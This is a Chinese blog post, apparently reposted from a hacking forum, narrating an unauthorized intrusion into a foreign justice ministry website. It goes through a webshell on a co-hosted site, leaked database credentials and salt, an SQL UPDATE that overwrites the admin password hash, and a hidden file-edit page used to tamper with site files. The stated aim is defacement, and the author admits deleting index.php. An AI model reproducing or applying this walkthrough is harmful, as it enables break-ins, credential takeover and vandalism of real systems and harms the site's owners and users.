通过旁注渗透拿下F国司法部

admin 2021年11月18日23:21:24评论92 views字数 5268阅读17分33秒阅读模式

首先看了一下网站,没看出是什么程序写的,也没发现值得深入下手的地方。于是便旁注了,很快,拿到了一个旁站的shell。
这才发现,服务器支持asp,aspx,php,但是限制很多。
简单试了下没提权成功。反正拿服务器不是首要任务,首要任务是挂菊花聊天室,先挂上聊天室再提权(后来事实证明,还是先提权才能把主页挂上菊花的)。

**************************好了,正文开始*****************************
很庆幸,这个vhost网站能跨站读取源码,但是权限不够,可以用webshell跨站读取一部分网站的源码,但是不能直接拷贝或者上传文件到目录
当然,意思就是不能直接对doj.xx这个网站的目录中写入文件或者修改文件代码
简单翻了一下网站目录,没有明显的后台登陆地址的标记
登陆了一下MySQL账户,不是root,还是4.x,用处不大
这几个目录中比较可疑的是:
http://www.doj.xx/doj2.0/c0ntent/login.php
访问这个地址,这个目录明显就是后台,这货后台隐藏的也够深的。
如果这是注入拿站,拿站的人是要死的,MySQL 4.x的版本,管理员表是doj_auth_users,字段是pangalan,密码是n位SALT的SHA512加密,后台又这么深,真的是基霸管理员啊

后台隐藏这么深,我很怀疑是之前新闻说的F国要求各部门加强网站安全性通知以后管理员抽风给做成这样的

我先看了一下登录文件login.php的代码:

if (isset($_POST['submit'])) {
if (empty($_POST['user']) || empty($_POST['pass'])) {
$msg = "ERROR: Please check your input!";
}
/***** Calculate hashed password *****/
$hash = new Crypt_Hash('sha512');
$password = bin2hex($hash->hash(SALT.clean_field($_POST['pass'], 1)));
$LOGINQUERY = "SELECT * FROM ".TBL_LOGIN." WHERE pangalan = '".clean_field(base64_encode($_POST['user']), 1)."'AND pasword = '".$password."'";
$result = mysql_query($LOGINQUERY) or $msg = "Error executing query.";

这段是密码验证部分的代码,简单来分析一下代码好了

Calculate hashed password前面的部分是验证输入的不为空,这个很简单,Calculate hashed password后面是加密密码和验证的部分,这里就比较郁闷了

pangalan应该是用户名的表段,而password明显就是密码的表段了。管理员字段是在:TBL_LOGIN 这个常量中存放的
$password这个变量是经过加密的,看加密格式:

$password = bin2hex($hash->hash(SALT.clean_field($_POST['pass'], 1)));

先将POST提交的密码一次处理(初步判断是去空格引号转义等功能)后,和SALT常量结合,然后hash加密

那么我们再登陆数据库看看,登陆信息在include.php文件中,数据库的信息如下:

define ("HOST", "localhost");
define ("USER", "dojmis");
define ("PASS", "P@ssw0rd123");
define ("DATABASENAME", "wcms1");

define ("ADMIN_EMAIL", "[email protected]");
define ("ADMIN_EMAIL", "[email protected], [email protected], [email protected]");
define ("SALT", "Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rds"); // salt to strenghten passwords
define ("TBL_LOGIN", "doj_auth_users");

用dojmis和密码P@ssw0rd123登陆数据库成功(我很怀疑P@ssw0rd123就是FTP密码)执行以下SQL语句:

select pangalan,0x3a,pasword from doj_auth_users

上面的管理员表段名也是从include.php中找出来的,自己仔细看一下

得 到:bWJi:bb376d2738b4561ad15973058f7a5b420a644cf2a29e997e9a656268c2bbfa9337ea7b2032129c8e74aa13cefeaf2294d1f7a784cb5d8864a7c80ba17a10f83b

我了个去,这么长的密文,跟md5看来是没关系了,直接逆向恐怕更不可能了

那咱们就分析分析他的加密方式,根据他的加密方式,咱们自己制作一个密码,直接给他改密码好了,然后用咱们自己的密码登陆后台

这中间有个clean_field()函数,这个函数在function.php中,其实看名字就知道是去空格等操作了,所以我们直接忽视
上面的加密方式中有个SALT,那就先找SALT
在include.php文件中:

define ("SALT", "Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rds");

这么长的SALT,如果不提前知道,怎么能跑的出来密码。不过好在我们已经知道了

假定我要将密码设置为:silic,那么根据他的算法,加密前先和SALT混合,就是:
Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rdssilic

然后看看怎么进行hash加密
看了这行代码:

$hash = new Crypt_Hash('sha512');

应该是sha512八九不离十了。于是将
Th1sSp3rL0ngStr1ngW1llPr0t3ctMyUs3rsAg@1nst1ns3cur3P@ssw0rdssilic进行 SHA512加密以后就得 到:c42c6c5c1e85c1ed0237576d4ff8ef3a7c145455a350fd43a489ce92f62f0633484b8b0c9b0ba8f5cad4401ef1c5285b6396d24ba144616127f2376d61459a6a

得到了我们特定的密码的加密,然后就该修改数据库密码为我们的密码了。
在数据库中执行SQL语句:

Default

1

UPDATE doj_auth_users SET pasword='c42c6c5c1e85c1ed0237576d4ff8ef3a7c145455a350fd43a489ce92f62f0633484b8b0c9b0ba8f5cad4401ef1c5285b6396d24ba144616127f2376d61459a6a' WHERE pangalan='bWJi'

就将后台的登陆密码修改为silic了

但是这还没有结束,因为我们的目的是取到Webshell
(其实这是图省事,因为咱们目的就是给他挂挂首页,取到Webshell足矣。但是。。。千万别抱这种想法,因为这个网站目测不提权是改不了主页的)

在登陆后台前,需要注意一个地方:

Default

1

WHERE pangalan = '".clean_field(base64_encode($_POST['user']), 1)."'AND pasword = '.....

这里的用户名字段是pangalan,但是用户名是经过了base64加密的,数据库中的pangalan字段数据是bWJi,实际上的密码需要经过base64解密,解密后得到实际登陆用户名为:mbb
用户名解出来了,密码自己给他改上去了。登陆后台

后台很简陋(但是很牛逼,居然会封ip,而且从头至尾居然封了我好几个ip,最后一不小心把index.php文件删了,也算是解了封我ip的气)

拿到webshell的话,发现只有一个fileedit.php可以加以利用,其他都是纯数据库操作
我看了半天没看明白怎么用,两个输入框,左边长右边短

还是仔细分析一下代码:

Default

1

2

3

4

5

6

if ($_SESSION['fe_flag'] == 1) {

$f=fopen ($_SESSION['fe_filename'],"rb");

$_SESSION['fe_data']='';

while(!feof($f))

$_SESSION['fe_data'].=fread($f,filesize($_SESSION['fe_filename']));

fclose($f);

仔细搜一下,果然又有一个密码验证,当POST的变量comment为密码时,就可以操作文件了

这次看清楚了,应该是没有加密了,直接密码就是:L@br@d0r
再来看一下这个功能框里面的源码,看看哪个是comment变量:

Default

1

2

3

4

5

<form name="form1" method="post" action="fileedit.php">

File: <input type="text" name="titlepage" value="" size="80" />&nbsp;&nbsp;

<input type="text" name="comment" value="" size="15" />

<br /><br /><center><input type="submit" name='getfilename' value='Get File' /></center><br />

</form>

第一个输入框是文件名(titlepage变量),第二个输入框是密码(comment变量)
当第二个框的变量通过了系统的密码验证,就将第一个变量接收并读取这个文件

那么第一个框输入test.php第二个框输入L@br@d0r就能修改test.php这个文件了

done。


via@习科论坛

本文始发于微信公众号(关注安全技术):通过旁注渗透拿下F国司法部

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月18日23:21:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   通过旁注渗透拿下F国司法部http://cn-sec.com/archives/503295.html

发表评论

匿名网友 填写信息